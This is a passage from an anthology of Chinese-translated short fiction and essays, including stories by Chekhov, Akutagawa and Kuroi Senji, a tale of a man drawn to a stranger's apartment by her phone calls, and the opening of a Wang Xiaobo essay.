　　“喂？”

　　“喂，阿诺德。”她说。

　　“我想你大概已把电话挂了。”

　　“哦，怎么会。”她说。

　　“说到你有我的号码这件事，”他说，“我觉得没什么，把它扔了就行了。”

　　“我会的，阿诺德。”她说。

　　“好吧，那我该说再见了。”

　　“当然，”她说，“现在就和你说再见。”

　　他听见她吸了口气。

　　“我知道我在强人所难，阿诺德，你觉得我们可以找个地方见面谈谈？就几分钟？”

　　“恐怕不行。”他说。

　　“就一分钟，阿诺德。我对找到你的电话号码以及随后的一些事情，有种很强的预感，阿诺德。”

　　“我是个老年人。”他说。

　　“哦，你不是。”她说。

　　“真的，我很老了。”

　　“阿诺德，我们能找个地方见见吗？是这样的，我并没有告诉你所有的事情，还有些事没对你讲。”这个女人说。

　　“你这是什么意思？”他说，“到底是什么意思？喂？”

　　她已经把电话挂了。

　　准备上床时，他妻子来了个电话，听得出来她有点喝多了。他们聊了一会儿，但他没有提刚才的那个电话。后来，在他铺床的时候，电话铃又响了起来。

　　他拿起话筒。“喂，这是阿诺德·布赖特。”

　　“对不起，阿诺德，电话给挂断了。我刚才说了，我觉得我们很有必要见一面。”

　　第二天下午，他刚把钥匙插进锁孔，就听见一阵电话铃声。他丢下公文包，没顾上脱下外套、帽子和手套，一步跨到桌前，拿起了话筒。

　　“阿诺德，很抱歉再次打扰你，”这个女人说道，“但你今晚九点到九点半之间务必来我家一趟。你能为我做这件事吗？阿诺德？”

　　听见她提到他的名字，他的心动了一下。“不行。”他说。

　　“求你了，阿诺德，”她说，“很重要的事，不然我不会求你的。谢丽尔得了感冒，我现在担心她会传给男孩，我今晚离不开家。”

　　“你丈夫呢？”他等着。

　　“我没有结婚，”她说，“你会来的，是吧？”

　　“我没法保证。”他说。

　　“我求你来一趟。”说完后，她很快地给出她的地址并把电话挂了。

　　“我求你来一趟,”他重复了一遍，手里还拿着话筒。他慢慢脱掉外衣和手套，他觉得他应该小心点。去盥洗室洗脸时，他抬头看了一眼镜子，发现自己还戴着帽子。就在这一刻他作出了去见她的决定。他脱了帽子，摘下眼镜，用肥皂洗了洗脸，又检查了一遍手指甲。

　　“肯定是这条街？”他问司机道。

　　“是的，那栋房子就是，”司机说。

　　“往前开，”他说，“在这条街的头上让我下来。”

　　他付了车费。那栋房子的阳台被高层窗户里漏出来的光照亮。可以看见阳台上的花盆，和零零散散放置着的一些室外家具。当他向大大门走去时，一个穿着汗衫的大汉站在其中的一个阳台上，身子靠着栏杆上，在盯着他看。

　　他按了一下写着“克·霍尔特”牌子下方的按钮，蜂鸣器响了一下，他退回到门口，走了进去。他慢慢地爬着楼梯，每上一级都要停一下。他想起了卢森堡的一个旅馆，多年前他和妻子在那儿爬过的五截楼梯。他感到他的侧面一阵突然的剧痛，他在想象他的心脏，想象他的腿被折断了，想象他被重重地摔到楼梯的底层。他掏出手帕，擦了擦额头，又摘下眼镜，擦了擦镜片，等着心跳慢下来。

　　他往过道尽头看了看，公寓里很安静。来到她的门前后，他脱了帽子，轻轻地敲了敲门。门开了一条缝，门口出现了一个胖胖的穿着睡衣的小女孩。

　　“你是阿诺德·布赖特？”

　　“是，我是，”他说，“你妈妈在家吗？”

　　“她说让你进来，她说告诉你她去药店买咳嗽糖浆和阿斯匹林了。”

　　他关上身后的门。“你叫什么？你妈妈告诉过我，我忘记了。”

　　见小女孩不说话，他又试了试。

　　“你叫什么来着的？是叫雪莉吧？”

　　“谢丽尔，”她说，“谢——丽——尔。”

　　“是是，我想起来了。不过，你得承认，我说的很接近。”

　　她坐在房间一头的一个垫子上，看着他。

　　“你生病了，是吗？”他问道。

　　她摇了摇头。

　　“没生病？”

　　“没有。”她说。

　　他四下看了看。房间被一盏金色的落地台灯照亮，灯杆上面固定着一个大的烟灰盘和一个放杂志的架子。靠远处墙的一台电视开着，声音很小。一条窄的过道通向后面的房间。火炉烧着，空气中弥漫着一股药味。茶几上放着发卡和发卷，沙发上扔着件粉红色的浴袍。

　　他又看了孩子一眼，然后抬头看了看厨房和厨房与阳台之间的那道玻璃门。门没有关严，他想起了那个穿汗衫的大汉，不由打了个冷战。

　　“妈妈走了有一会儿了，”孩子说，她像是突然醒了过来。

　　他手里拿着帽子，身体往前倾了倾，看着她说，“我想我还是回去了吧。”

　　钥匙在锁孔里转动了一下，门打开了。一个瘦小苍白，脸上有雀斑的女子走了进来，手里抱着个纸袋子。

　　“阿诺德，见到你真高兴！”她飞快地看了他一眼，显得有点拘束。抱着纸袋子，她一边奇怪地摇着头，一边向厨房走去。孩子坐在垫子上看着他，他听见橱柜的门响了一下。他把重心从一条腿换到另一条腿上，再换回来。在他把帽子戴上又脱下的当口，她又出现了。

　　“你是医生吗？”她问道。

　　“不是，”他吃了一惊，说，“我不是。”

　　“谢丽尔病了，你瞧，我一直在外面买东西。你为什么不让这位先生把外套脱了？”她转过身来问孩子。“请你原谅她，我们不常有客人来。”

　　“我不能呆在这儿，”他说，“我真的不该来的。”

　　“请坐，”她说，“我们不能这样说话。让我先给她吃点药，然后我们再聊。”

　　“我真的该走了，”他说，“从你那天说话的口气，我以为有什么很要紧的事，我真的应该走了。”他低头看着自己的手，发现自己一直在打着微弱的手势。

　　“我先把茶水烧上，”他听见她在说，就像她根本没听见他刚才说的话。“给谢丽尔吃完药，我们就可以聊聊了。”

　　她搂着孩子的肩膀，把她领进厨房。他看见她拿起一把调羹，又拿起个药瓶。看了眼说明后，打开盖子倒出两格药。

　　“好宝贝，向布赖特先生道个晚安，然后回你的房间。”

　　他冲孩子点了点头，跟着她进了厨房。他没有坐她示意的那把椅子，而是坐在了另一把椅子上，这样他就可以面对阳台、过道和小客厅。“你介意我抽根雪茄吗？”他问道。

　　“没关系，”她说，“我并不介意雪茄的味道，你抽吧。”

　　他决定还是不抽了。他把手放在膝盖上，摆出一付很严肃的表情。

　　“这件事非常神秘，”他说。“我向你保证，对我来说它太不寻常了。”

　　“我能理解，阿诺德，”她说，“你想知道我是怎么得到你的号码的。”

　　“确实很想知道。”他说。

　　他们面对面地坐着，等着水烧开。他能听见电视的声音，他四下看了看厨房，又看了眼阳台。水开了。

　　“你该告诉我号码的事了，”他说。

　　“对不起，阿诺德，你说什么？”她说。

　　他干咳了几声，“告诉我你是怎么得到我的电话号码的。”他说。

　　“我问了安妮塔，那个照看孩子的（对，我告诉过你这个）。反正她告诉我说，她在这上班时来了个电话，是找我的，留了个回电号码，她写了下来，就是你的电话号码，就这些。”她用纸杯子在桌子上画着圈子，“对不起，我无法告诉你更多的东西。”

　　“你的水开了，”他说。

　　她拿出调羹，牛奶和糖，把开水浇到茶袋上。

　　他往茶里加了点糖，搅了搅。“你说有件要紧的事我才来的。”

　　“哦，那个，阿诺德，”她说，转过脸去，“我不知道我为什么要那样说，不知道我当时在想什么。”

　　“那么，没什么事？”他说。

　　“没有，我是想说是的，”她摇了摇头，“正如你所说，没什么事。”

　　“知道了，”他不停地搅着他的茶，“这太意外了。”过了一会儿，他几乎是自言自语地说道。“太不寻常了。”他无力地笑了笑，把茶杯放在在一边，用餐巾纸擦了擦嘴唇。

　　“你不是要走吧？”她问道。

　　“我必须走了，”他说，“我得回家等一个电话。”

　　“等会儿，阿诺德。”

　　她把椅子向后一滑，站了起来。她的眼珠是淡绿色的，深陷在苍白的脸上，四周是些深黑色。起先，他还以为那是她化的妆。知道会责怪和看不起自己，他还是站了起来，笨拙地用胳膊搂住她的腰。她接受了他的吻，并飞快地闭了一下眼睛，显得有点忐忑不安。

　　“太晚了，”他说。他松开了她，有点站立不稳地转过身来，“和你待在一起非常愉快，但我不得不走了，霍尔特太太，谢谢你的招待。”

　　“你会再来的，阿诺德，是吧？”她说。

　　他摇了摇头。

　　她跟着他走到门前，他伸出手来。他能听见电视的声音，他很确定音量被调大了。他想起了另外一个孩子――那个男孩。他在哪儿？

　　她拉过他的手，快速地把它放到自己的嘴唇上。

　　“你不可以忘记我，阿诺德。”

　　“我不会的，”他说，“克莱拉，克莱拉·霍尔特。”

　　“我们聊得很好，”她说，用手掸掉他外套衣领上的什么东西（一根头发，或是一根线头）。“我很高兴你能来，我确信你还会再来。”他仔细地看着她，她却在看着他身后的某个地方，像是在努力回忆什么。“晚安，阿诺德。”她说完就关上了门，门差点把他的外套夹住。

　　“真奇怪，”他一边下楼一边说。走出楼房后，他长长地出了口气。停了一会儿，回头看了一眼那栋房子，他无法确定哪个阳台是她家的。穿着汗衫的大汉一直看着他，靠着栏杆的身子略微动了一下。

　　他把手放在外套的口袋里，开始往回走。刚进家门就听见电话铃声。他手里捏着钥匙，静静地站在屋子的中间，直到铃声停了下来。他缓缓地把一只手放在胸前，隔着衣服感觉着自己的心跳。过了一会儿，他走进了卧室。

　　就在这时候，电话铃又响了起来。这次他拿起了话筒。“阿诺德，这是阿诺德·布赖特。”他说。

　　“阿诺德？天哪，今晚我们也太正式了！”他妻子说道，口气里满是调侃的味道。“我从九点起就不停地给你打电话。出去快活了，阿诺德？”

　　他捉摸着她的声调，没有吭声。

　　“你还在吗，阿诺德？”她说，“你听上去怎么不太像你自己了？”

荒唐的工作

黑井千次

　　“喂，你打工吗？”

　　K 子出了车站检票口由地下通道向商店街走时，从柱子后面的阴暗处闪出一个女人突然问道。她个子很高，身着黑色长礼服，斜披着一条紫色大围巾。

　　“你是问我吗？”K 子不由得反问道。在上下班的人流中，自己衣着普通，没有任何值得注意的地方，她为什么偏偏叫我呢？真是不可思议。

　　“这个工作不错，很愉快，又可以挣钱。”那个女人像一阵风似地飘过来，身体碰到了 K 子栗色羊毛衫的袖子。不知为什么，K 子并没有感到不快。

　　“可是，我有工作，没有时间……”K 子解释说。

　　“非得有工作的人才行。每天一小时就行，比如说，从现在开始一小时……”她那瘦削的脸上流露出异常真诚的表情，口气也由劝诱变成了恳求。K 子看在眼里，心中的疑惑和警惕也随之舒缓了许多。

　　“一小时能干什么呢？”K 子问道。对方的话吊起了 K 子的胃口，尤其是以每小时为单位的计算方法引起了她的兴趣。

　　“你，觉得我怎么样？”K 子端详着她。虽然她讲话生硬，但面目端正。皮肤粗糙，但鼻梁又尖又高，在鼻翼处笼罩着悲凉的阴影。可能早过 30 岁了。

　　“好像很疲惫……”女人缓缓地点了点头，催促她继续说下去：“还有什么？”

　　“好像有点寂寞……”

　　“还有呢？”

　　“……想找个朋友吗？”她仰头哈哈大笑。但是，当她手扶着大柱子支撑住身体，回过头来时，脸上一点笑容也没有了。

　　“你现在干什么去？”

　　“回家。”

　　K 子老实地回答道。女人转过挂在手腕上的表看了看时间说：“已经过了 3 分钟，从现在开始还有 57 分钟，请你想一想我。”

　　说完，她拿出一张一万日元的钞票飞快地塞到 K 子手里说：“这是谢礼。”

　　“这是为什么？”

　　“谁都希望这样。我们说好的事绝对不要忘了。”

　　她用力拉了拉 K 子的手，衣襟飘动着，消失在地下通道的人群中。

　　K 子在柱子旁呆呆地停立许久，手里拿着的一万日元钞票，告诉她这不是梦。她慢慢腾腾地离开了柱子向商店街走去。似乎那个女人的情绪传染了她，她感到越来越寂寞。

　　“这就是打工。”她悄悄地说。

小公务员之死

契诃夫

　　一个美好的晚上，一位心情美好的庶务官伊凡·德米特里·切尔维亚科夫，坐在剧院第二排座椅上，正拿着望远镜观看轻歌剧《科尔涅维利的钟声》。他看着演出，感到无比幸福。但突然间……小说里经常出现这个“但突然间”。作家们是对的：生活中确实充满了种种意外事件。但突然间，他的脸皱起来，眼睛往上翻，呼吸停住了……他放下望远镜，低下头，便……阿嚏一声！！！他打了个喷嚏，你们瞧。无论何时何地，谁打喷嚏都是不能禁止的。庄稼汉打喷嚏，警长打喷嚏，有时连达官贵人也在所难免。人人都打喷嚏。切尔维亚科夫毫不慌张，掏出小手绢擦擦脸，而且像一位讲礼貌的人那样，举目看看四周：他的喷嚏是否溅着什么人了？但这时他不由得慌张起来。他看到，坐在他前面第一排座椅上的一个小老头，正用手套使劲擦他的秃头和脖子，嘴里还嘟哝着什么。切尔维亚科夫认出这人是三品文官布里扎洛夫将军，他在交通部门任职。

　　“我的喷嚏溅着他了！”切尔维亚科夫心想，“他虽说不是我的上司，是别的部门的，不过这总不妥当。应当向他赔个不是才对。”

　　切尔维亚科夫咳嗽一声，身子探向前去，凑着将军的耳朵小声说：

　　“务请大人原谅，我的唾沫星子溅着您了……我出于无心……”

　　“没什么，没什么……”

　　“看在上帝份上，请您原谅。要知道我……我不是有意的……”

　　“哎，请坐下吧！让人听嘛！”

　　切尔维亚科夫心慌意乱了，他傻笑一下，开始望着舞台。他看着演出，但已不再感到幸福。他开始惶惶不安起来。幕间休息时，他走到布里扎洛夫跟前，在他身边走来走去，终于克制住胆怯心情，嗫嚅道：

　　“我溅着您了，大人……务请宽恕……要知道我……我不是有意的……”

　　“哎，够了！……我已经忘了，您怎么老提它呢！”将军说完，不耐烦地撇了撇下嘴唇。

　　“他说忘了，可是他那眼神多凶！”切尔维亚科夫暗想，不时怀疑地瞧他一眼。“连话都不想说了。应当向他解释清楚，我完全是无意的……这是自然规律……否则他会认为我故意啐他。他现在不这么想，过后肯定会这么想的！……”

　　回家后，切尔维亚科夫把自己的失态告诉了妻子。他觉得妻子对发生的事过于轻率。她先是吓着了，但后来听说布里扎洛夫是“别的部门的”，也就放心了。

　　“不过你还是去一趟赔礼道歉的好，”她说，“他会认为你在公共场合举止不当！”

　　“说得对呀！刚才我道歉过了，可是他有点古怪……一句中听的话也没说。再者也没有时间细谈。”

　　第二天，切尔维亚科夫穿上新制服，刮了脸，去找布里扎洛夫解释……走进将军的接待室，他看到里面有许多请求接见的人。将军也在其中，他已经开始接见了。询问过几人后，将军抬眼望着切尔维亚科夫。

　　“昨天在‘阿尔卡吉亚’①剧场，倘若大人还记得的话，”庶务官开始报告，“我打了一个喷嚏，无意中溅了……务请您原……”

　　“什么废话！……天知道怎么回事！”将军扭过脸，对下一名来访者说：“您有什么事？”

　　“他不想说！”切尔维亚科夫脸色煞白，心里想道，“看来他生气了……不行，这事不能这样放下……我要跟他解释清楚……”

　　当将军接见完最后一名来访首，正要返回内室时，切尔维亚科夫一步跟上去，又开始嗫嚅道：

　　“大人！倘若在下胆敢打搅大人的话，那么可以说，只是出于一种悔过的心情……我不是有意的，务请您谅解，大人！”

　　将军做出一副哭丧脸，挥一下手。

　　“您简直开玩笑，先生！”将军说完，进门不见了。

　　“这怎么是开玩笑？”切尔维亚科夫想，“根本不是开玩笑！身为将军，却不明事理！既然这样，我再也不向这个好摆架子的人赔不是了！去他的！我给他写封信，再也不来了！真的，再也不来了！”

　　切尔维亚科夫这么思量着回到家里。可是给将军的信却没有写成。想来想去，怎么也想不出这信该怎么写。只好次日又去向将军本人解释。

　　“我昨天来打搅了大人，”当将军向他抬起疑问的目光，他开始嗫嚅道，“我不是如您讲的来开玩笑的。我来是向您赔礼道歉，因为我打喷嚏时溅着您了，大人……说到开玩笑，我可从来没有想过。在下胆敢开玩笑吗？倘若我们真开玩笑，那样的话，就丝毫谈不上对大人的敬重了……谈不上……”

　　“滚出去！！”忽然间，脸色发青、浑身打颤的将军大喝一声。

　　“什么，大人？”切尔维亚科夫小声问道，他吓呆了。

　　“滚出去！！”将军顿着脚，又喊了一声。

　　切尔维亚科夫感到肚子里什么东西碎了。什么也看不见，什么也听不着，他一步一步退到门口。他来到街上，步履艰难地走着……他懵懵懂懂地回到家里，没脱制服，就倒在长沙发上，后来就……死了。

猴子

芥川龙之介

　　那时我刚刚结束远洋航行，雏妓（军舰上对见习军官的称呼）好容易快要自立了。我乘的A号军舰驶进了横须贺港口。第三天下午，大约三点来钟，响亮地传来通知上岸的人集合的号声。记得该轮到右舷的人上岸了。大家刚在上甲板排好，这一次又突然响起了全体集合的号声。事情当然不同寻常。不了解内情的我们，一边走上舱口，一边互相说着：“出了什么事？”

　　全体集合之后，副舰长说了大致这样的话：“……最近舰里发生过两三起丢东西的案子。尤其是昨天镇上钟表店的人来的时候又丢了两只银壳怀表。今天要对全体人员进行身体检查，同时检查一下随身物品……”钟表店的事情是初次听说的，至于有人丢东西的事，我们早有所闻。据说一个军士和两个水兵都丢了钱。

　　既然是检查身体。大家都得脱光衣服。幸而方交十月初，漂在港内的红浮标受着烈日照晒，看上去使人觉得还像是夏天呢，所以这也算不了什么。感到尴尬的是那些打算一上岸就去逛的伙伴们，一检查，就从兜里翻出了春画什么的，局促不安地涨红了脸也来不及了。有两三个人似乎还挨了军官的揍。

　　一共有六百人呢，检查一遍要耽误不少工夫。真是洋洋大观。六百个人都脱了衣服，把上甲板排得水泄不通。尤其是脸和手腕子都黑黝黝的轮机兵，由于这次失盗，他们一度遭到嫌疑，这会子连三角裤衩都扒了下来，气势汹汹地要求查个仔细。

　　上甲板正闹得天翻地覆，中甲板和下甲板已开始检查起随身物品来了。每个舱口都派了见习军官来站岗，上甲板的人当然一步也走不下来。我刚好负责下甲板，就和其他伙伴一道去检查水兵的衣囊和小箱子什么的。自从上了军舰，我还是头一遭干这种事儿，既要摸摸横梁后头，又要把放衣囊的搁板里边翻个遍，比想象的要麻烦多了。后来，跟我一样当见习军官的牧田，好容易找到了赃物。怀表和钱一古脑儿都在姓奈良岛的信号兵的帽盒里。据说其中还有服务员丢失的那把柄上镶着蓝贝壳的小刀呢。

　　于是下令“解散”，接着就要求“信号兵集合”。其他伙伴就别提有多么高兴了。尤其是曾经被怀疑过的轮机兵，更是欢喜万分。可是信号兵集合后才发现奈良岛不在。

　　我缺乏经验，对这方面的事一无所知。据说在军舰里，有时会出现找到赃物而抓不到犯人的情况。当然，犯人已经自杀了，十之八九是在煤库里上吊，几乎没有跳海的。不过，我乘的这艘军舰听说还有用小刀剖腹的，没有死掉就被人发现了，总算保住了一条命。

　　正因为如此，奈良岛失踪的消息好像使军官们吓了一跳。特别是副舰长那个慌劲儿，我至今还记得清清楚楚。他的脸色变得刷白，那种担心的神情，看上去怪可笑的。上次打仗的时候，他还曾以骁勇驰名呢。我们看着他，互相交换轻蔑的眼色，心想：平时还净讲什么精神修养呢，怎么竟惊慌失措成这个样子。

　　副舰长一声令下，我们立即在舰内搜查开了。这时沉湎在愉快的兴奋当中的，恐怕不只是我一个人。这就好比是着火时看热闹的那种心情。警察去抓犯人的时候，不免要担心对方会抵抗，军舰里却决不会有这样的事。我们和水兵之间严格地存在着等级之分——只有当了军人才能知道这个界线是多么清楚。对我们来说，这是个极大的仗势。我几乎是兴高采烈地跑下了舱口。

　　牧田也是这时跟我一道下去的伙伴中的一个，他兴致勃勃地从背后拍我的肩膀说：“喂，我想起了那次逮猴子的事儿。”

　　“唔，今天的猴子没那么敏捷，放心好了。”

　　“可别麻痹大意，让他跑掉了。”

　　“左不过是一只猴子，跑就跑呗。”

　　我们边说着笑话，边走下去。

　　那只猴子是远洋航行到澳大利亚时，炮长在布里斯班跟人要来的。航海途中，驶入威廉黑文港的两天之前，它拿了舰长的手表销踪匿迹。于是整个军舰闹得人仰马翻。一方面也是因为长途航行中大家正闲得无聊，炮长本人自不用说，我们连工作服也没换，全体出动，下自轮机舱，上至炮塔，都找了个遍，这场混乱，非同小可。其他人讨来和买来的动物也不少。我们跑去时，一路上又是给狗绊住，又是塘鹅叫，用绳子吊起来的笼子里，鹦哥像发了疯似的扇翅膀，真好像是马戏棚子着了火。过一会儿，那猴子也不知是打哪儿怎么钻出来的，手里拿着那只表，忽然在上甲板出现了，蓦地想往桅杆上爬。刚好有两三个水兵在那儿干活呢，它当然逃不了。其中一个人马上就抓住了它的脖子，于是它乖乖受擒。手表只是玻璃碎了，损失不大。后来炮长提议罚猴子绝食两天。可是多有意思，期限还没到呢，炮长就破坏了罚规，亲自喂猴子胡萝卜和白薯吃。他还说什么：“瞧它那么垂头丧气的，即便是猴，于心也不忍啊。”——说句题外的话，我们去找奈良岛时的心情，确实颇像是追猴子时的心情。

　　当时，我第一个走到下甲板。你大概也知道，下甲板一向是黑咕隆咚的，这儿那儿，擦得干干净净的金属机件和上了油漆的铁板发着暗淡的光。——我觉得有些喘不上气来，简直受不了。我摸着黑，朝着煤库走了两三步，只见煤库的装煤口露出一个人的上半截身子。我差点儿喊出声来。这个人正从这小口子向煤库里钻呢，先把脚伸进去了。脸给深蓝色水兵服的领子和帽子遮住了，从这边看不出是谁。而且光线不足，只能看见上半身朦朦胧胧地浮现出来。但是我立即感觉到那就是奈良岛。这么说来，他当然是为了自杀而进煤库的喽。

　　我感到兴奋异常。这是一种无法形容的愉快的兴奋，浑身的血仿佛都要沸腾起来。这也可以说是握枪等待的猎人看到猎物时的那种心情吧。我几乎是不顾一切地扑向那个人，比猎犬还敏捷地用双手按住他的肩膀。

　　“奈良岛。”我的声音尖而发颤，也说不清是责备呢还是骂他。那个人当然就是犯人奈良岛。

　　“……”

　　奈良岛没有甩开我的手，他从装煤口露出半截身子，安详地抬头望望我的脸。光用“安详”这个字眼还不足以形容。这是使出了浑身的力气，可又不得不保持的那种“安详”。他没有选择的余地，被逼得无可奈何，好比是风暴过去后，被刮断了的帆桁凭靠剩下的那点力气，试图回到原来的位置去。这就是那种迫不得已的“安详”。由于没有遇上我原来预料到的那种抵抗，我就无意之中产生了类似不满的心情，因而越发感到焦躁气愤，默默地俯视着那张“安详”地仰望着我的脸。

　　我再也没看到过那样的脸。连魔鬼对那样的脸看一眼，想必都会哭出来。你没有真正看到过，我这么说，你恐怕也是难以想像的。我大概能够把他那双泪汪汪的眼睛形容给你听。他嘴角的肌肉像是忽然变成了不随意肌似的抽动了几下，兴许这一点你也揣想得到。还有他那汗涔涔的、脸色很坏的面容，也还容易描述。但是把这一切加在一起的那种可怕的神色，任何小说家也是不能表达的。我当着你这个小说家的面，也敢这么断言。我感到，他的表情闪电般地击毁了我心里的什么东西。这个信号兵的脸竟给了我那么强烈的打击。

　　我机械地问他道：“你想干什么？”

　　不知怎地，我觉得这个“你”，仿佛指的是我自己。倘若有人问我：“你想干什么？”我怎么回答好呢？谁能够心安理得地回答说：“我想把这个人当成罪犯。”有谁看见了这张脸，还说得出这样的话？这么写下来，时间就显得挺长似的，其实一眨眼的工夫我心里就闪过了这些自咎的念头。就在这当儿，我听见他说了声“太见不得人了”，声音虽然不大，我听着却很难过。

　　你也许会把这情景形容作“听上去好像是我暗自这么说的”。我只感到，这话像打了一针似的刺着了我的神经。我当时真恨不得跟奈良岛一道说“太见不得人了”，朝着比我们伟大得多的什么东西低下头去。不知什么时候，我撒开了按着奈良岛肩膀的手，好像我自己就是个被抓住的犯人似的，呆呆地伫立在煤库前面。

　　下面的事情，我不说你大概也料想得到。那一天奈良岛关了一天禁闭。第二天被押送到浦贺的海军监狱去了。有一件事，我不大愿意说，那里经常叫囚犯“运炮弹”。那就是在相隔八尺的两个台子上放上二十来斤重的铁球，让囚犯不断地来回搬来搬去。对囚犯来说，再也没有比这更痛苦的刑罚了。记得我过去向你借过陀思妥耶夫斯基的《死屋手记》，其中有这样一句话：“要是迫使囚犯多次重复无谓的苦工，诸如从甲桶往乙桶里倒水，再从乙桶往甲桶里倒回去，那个囚犯准会自杀。”海军监狱的囚犯真是这么干的，没有人自杀倒令人觉得奇怪呢。我抓到的那个信号兵就被押送到那儿去了。他满脸雀斑，个子矮矮的，一看就是个怯懦的老实人。

　　当天傍晚，我正跟其他见习军官一道凭栏看着暮色即将降临的港口时，收回来到我身边，用挪揄的口吻说：“你活捉了猴子，立了大功啊。”他大概以为我心里怪得意的呢。

　　“奈良岛是人，不是猴子！”

　　我粗声粗气地回了他一句，抽冷子离开了栏杆。伙伴们一定觉得很奇怪。因为我和收田在海军军官学校的时候就是莫逆之交，从来没拌过嘴。

　　我独自沿着上甲板从舰尾走向舰首，欣慰地回顾副舰长由于担心奈良岛的安危，曾怎样惊慌失措。当我们把信号兵看做猴子的时候，惟独副舰长却把他作为人寄予同情。我们竟对副舰长抱轻蔑的态度，简直是愚蠢透顶，太不像话了。我羞愧得无地自容，低下了头。我尽量不让皮鞋发出声音，沿着暮色苍茫的上甲板从舰首折回到舰尾。我觉得让禁闭室里的奈良岛听到精神抖擞的鞋声未免太过意不去了。

　　据说奈良岛是为了女人的缘故而偷窃的。不知道刑期是多久。起码也得在黑暗的牢房里蹲上几个月吧。猴子是可以免受处分的，人却不行。

　　（一九一六年八月）

　　文洁若　译

胖子和瘦子

契诃夫

　　在尼古拉耶夫斯基铁路的一个火车站上，两个朋友相遇了，一个是胖子，一个是瘦子。胖子刚在火车站吃完午饭，嘴唇还泛着油光，亮铮铮的，像熟透了的樱桃一般，浑身都散发着白葡萄酒和香橙花的气味。瘦子刚从车厢里下来，吃力地提着箱子、包裹和硬纸盒，身上有一股火腿和咖啡渣的气味。在他背后，一个长下巴的清瘦女人探头张望着，这是他的妻子；还有一个高个子的中学生，眯着一只眼，那是他的儿子。

　　“波尔菲里！”胖子看到瘦子以后，突然大声呼喊起来，“真是你吗？我亲爱的朋友！好久不见了啊！”

　　“哎呀，我的老天啊！”瘦子吃了一惊，也叫道，“这不是米沙吗？！我小时候的朋友啊！你这是从哪里来的啊？”

　　两个朋友立马拥抱在了一起，连吻了三次，然后互相望着对方，眼里饱含泪水。两人都是又惊又喜！

　　“我亲爱的朋友啊！”吻过之后，瘦子开始说道，“简直是太意外了！这是一个惊喜！哎，你倒是好好瞧瞧我！你还是跟以前一样英俊呢！还是那么气派！我的老天啊，你现在混得如何呀？发财了吧？结婚了没？你也看到了，我都已经成家了⋯⋯瞧，只是我妻子，路易莎，娘家姓万岑巴赫⋯⋯她是个清教徒⋯⋯哦，这是我儿子，纳法纳伊尔，还在读中学三年级呢，纳法尼亚（纳法纳伊尔的爱称），这是我小时候的朋友！我们中学时候也是同学！”

　　纳法纳伊尔犹豫了一下，把帽子摘了下来。

　　“我们中学是在一起念的！”瘦子继续说着，“你还记得吧，那个时候大家都是怎么拿你开玩笑的？同学们给你取了个外号叫‘赫洛斯特拉特’（古希腊人，他为了扬名于世，于公元前356年放火焚烧了古代世界七大奇观之一的宏伟壮丽的阿泰密斯神庙），那是因为你拿香烟把公家的一本书捎了个洞。大家还给我取了个外号叫‘恶菲阿尔特’（古希腊人，于公元前5世纪初，为波兰军队带路，引敌入境），是因为我喜欢打小报告。哈哈哈⋯⋯那个时候大家都还是孩子呢！你别怕羞呀，纳法尼亚！你倒是走过来呀⋯⋯哦，这是我妻子，娘家姓万岑巴赫⋯⋯是个清教徒”。

　　纳法纳伊尔迟疑了一会儿，躲到父亲身后去了。

　　“对了，朋友，你现在过得怎么样啊？”胖子热情地望着瘦子，问道，“现在在哪儿供职啊？都做到几等官啦？”

　　“我亲爱的朋友啊，我现在还在供职呢！做八等文官都有两年啦，还得过一枚圣斯坦尼斯拉夫勋章呢。可就是薪水太少⋯⋯唉，去他的！我妻子现在在教音乐课，我呢，工作之余用木料做些烟盒。都是些很棒的烟盒呢！我拿出去卖一卢布一个。要是有人一次性买十个或者更多的，我就给他点折扣。反正就这样勉强过着呗。你也是知道的，我以前在一个厅里做科员，现在调到这边做科长了，还是在以前那个部门⋯⋯之后还会在这里继续干着。对了，你呢，现在怎么样啊？恐怕都做到五等文官了吧？嗯？”

　　“不止呢，还得再说高点”，胖子说，“我现在已经升到三等文官了⋯⋯都有两枚星章了”。

　　刹那间，瘦子脸色苍白、目瞪口呆，但很快地，他脸上的肉就朝四下里扭动开了，并立即露出一副相当欣喜的笑容，仿佛他的脸和眼睛都要射出火星一般。他耸起肩膀，弯下腰，缩下去半截⋯⋯他手上的那些箱子、包裹、硬纸盒好像也跟着缩了半截似的⋯⋯他妻子的长下巴拉得更长了；纳法纳伊尔则垂手直立，系紧了大衣上所有的钮扣⋯⋯

　　“大人，我⋯⋯真是太高兴了啊！您和我可称得上是儿时的朋友啊，而您一下子就平步青云，变成大贵人啦！嘻嘻！”

　　“哎呀，够啦够啦！”胖子皱起了眉头，“干嘛要用这样的腔调说话呢？我和你可是小时候的朋友呢，用不着搞官场上的那一套奉承啊！”

　　“那怎么行啊⋯⋯大人您怎么这么说呢⋯⋯”瘦子嘿嘿笑着，整个人缩得更小了，“大人您的恩情⋯⋯使我如蒙再生的甘露啊⋯⋯大人，这是我儿子，纳法纳伊尔⋯⋯这是我妻子，路易莎，清教徒，某种意义上来说⋯⋯”

　　胖子本想反驳点什么，但瘦子脸上那副尊崇谄媚、低三下四的寒酸相使得这个三等文官一阵恶心。胖子于是扭过脸去，挥手向瘦子作别。

　　瘦子握了握胖子的三个指头，整个身子都弯下去了，像中国人那样嘿嘿陪笑着。他的妻子也在一旁陪着笑脸。纳法纳伊尔将两脚靠拢敬礼，制帽都掉到地上去了。一家三口都感到又惊又喜。

写给新的一年

王小波

　　我们读书、写作——1995 年就这样过去了。这样提到过去的一年，带点感慨的语调，感叹生活的平淡。过去我们的生活可不是这样平淡。在我们年轻时，每一年的经历都能写成一本书，后来只能写成小册子，再后来变成了薄薄的几页纸。现在就是这样一句话：读书、写作。一方面是因为我们远离了动荡的年代，另一方面，我们也喜欢平淡的生活。对我们来说，这样的生活就够了。

　　九十年代之初，我们的老师——一位历史学家——这样展望二十一世纪：理想主义的光辉已经暗淡，人类不再抱着崇高的理想，想要摘下天上的星星，而是把注意力放到了现实问题上去，当一切都趋于平淡，人类进入了哀乐中年。我们都不是历史学家，不会用这样宏观的态度来描述世界，但这些话也触动了我们的内心。过去，我们也想到过要摘下天上的星星，而现在我们的生活也趋于平淡。这是不是说，我们也进入了哀乐中年？假设如此，倒是件值得伤心的事。一位法国政治家说过这样一句话：一个人在二十岁时如果不是激进派，那他一辈子都不会有出息；假如他到了三十岁还是个激进派，那他也不会有什么大出息。我们这样理解他的话：一味的勇猛精进，不见得就有造就；相反，在平淡中冷静思索，倒更能解决问题。

